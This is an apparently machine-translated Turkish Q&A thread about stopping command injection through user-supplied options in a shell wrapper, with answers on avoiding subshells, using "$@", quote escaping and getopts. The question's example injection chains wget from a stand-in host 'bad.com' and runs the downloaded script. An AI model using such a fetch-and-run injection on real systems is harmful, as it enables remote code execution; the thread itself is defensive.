Komut seçenekleriyle komut enjeksiyonunu nasıl önleyebilirim?


13

Ben kullanıcı bir simülatör geçmek için özel seçenekleri belirtmek için izin gereken bir sarıcı uygulaması var. Ancak, kullanıcının kullanıcı seçenekleri aracılığıyla diğer komutları enjekte etmediğinden emin olmak istiyorum. Bunu başarmanın en iyi yolu nedir?

Örneğin.

  • Kullanıcı şunları sağlar: -a -b
  • Uygulama yürütür: mysim --preset_opt -a -b

Ancak bunun olmasını istemiyorum:

  • Kullanıcı şunları sağlar: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Uygulama yürütür: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Şu anda, her kullanıcı tarafından sağlanan seçeneği tek tırnaklarla çevreleyebileceğimi 've kullanıcı tarafından sağlanan tek tırnakları çıkarabileceğimi düşünüyorum , böylece son örnekteki komut zararsız olacak:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Not: mysimKomut, docker / lxc kapsayıcısındaki bir kabuk komut dosyasının parçası olarak yürütülür. Ubuntu kullanıyorum.


evalUygulamayı çalıştırmak için mi kullanıyorsunuz ? Değilse, enjeksiyon olmamalıdır:x="&& echo Doomed" ; echo $x
choroba

1
Hayır, kullanmıyorum eval. mysimBir kabuk betiğinin içindeki yürütülebilir dosyayı arıyorum . Ben sadece kullanıcının sağladığı seçenekler dizesini kopyalamak ve mysimkomutun sonuna yapıştırmak eğer enjeksiyon olduğunu görüyorum .
Victor Lyuboslavsky

Sarıcı uygulaması seçenekler dizesini kopyalayıp yapıştırıyor mu?
choroba

Evet, kullanıcı seçenekleri gibi tek bir dize olarak gelir -a -b. Bu nedenle, bu dizeye ek komutlar eklenmediğinden emin olmak istiyorum.
Victor Lyuboslavsky

1
beyaz liste yapabilir misin sadece karakterlere izin vermek [a-zA-Z0-9 _-]oldukça savunmacı bir seçim gibi görünüyor.
Ulrich Schwarz

Yanıtlar:


6

Sarıcı programı üzerinde kontrolünüz varsa, alt kabuk çağırmadığından emin olun. Derinlemesine, bir programı yürütme talimatı , yürütülebilir dosyanın tam yolundan (geçerli dizine mutlak veya göreceli) ve bağımsız değişken olarak iletilecek dizelerin bir listesinden oluşur. PATH araması, boşluk ayırma argümanları, alıntı ve kontrol operatörleri kabuk tarafından sağlanır. Kabuk yok, acı yok.

Örneğin, bir Perl sarmalayıcısıyla execveya biçimini kullanın system. Birçok dilde, birini aramak execveya execXXXfonksiyonları (veya unix.execya da adı her neyse) ziyade system, ya os.spawnbirlikte shell=Falseya da her ne sürer.

Sarıcı bir kabuk komut dosyasıysa, "$@"bağımsız değişkenleri iletmek için kullanın , örn.

#!/bin/sh
mysim -preset-opt "$@"

Başka seçeneğiniz yoksa ve sarma programı bir kabuk çağırırsa, bağımsız değişkenleri kabuğa geçirmeden önce alıntı yapmanız gerekir. Argüman teklif etmenin kolay yolu aşağıdakileri yapmaktır:

  1. Her bağımsız değişkende, '(tek tırnak) her oluşumunu dört karakterli dizeyle değiştirin '\''. (örneğin, don'tolur don'\''t)
  2. 'Her bağımsız değişkenin başına ve ayrıca her bağımsız değişkenin sonuna ekleyin . (örneğin don't, don'\''tolur 'don'\''t')
  3. Sonuçları aralarında boşluk bırakarak birleştirin.

Bunu bir kabuk sarmalayıcıda yapmanız gerekiyorsa, işte bir yol.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Ne yazık ki, ${VAR//PATTERN/REPLACEMENT}burada kullanışlı olması gereken bash'ın yapısı ilginç alıntılar gerektiriyor '\''ve yedek metin olarak elde edebileceğinizi sanmıyorum .)


1

Sen Bash'in kullanabilirsiniz ${VAR//PATTERN/REPLACEMENT}tek tırnağı dönüştürmeye deyim 'içine '\''ilk koyarak '\''(bir ara adım olarak) bir değişkene içine ve daha sonra da bu değişkeni genişleyen REPLACEMENTsöz Bash deyimleriyle elemanı.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

Sen kullanabilir getoptsiçinde bashsizin için argümanlar ayrıştırmak hangi, örneğin:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.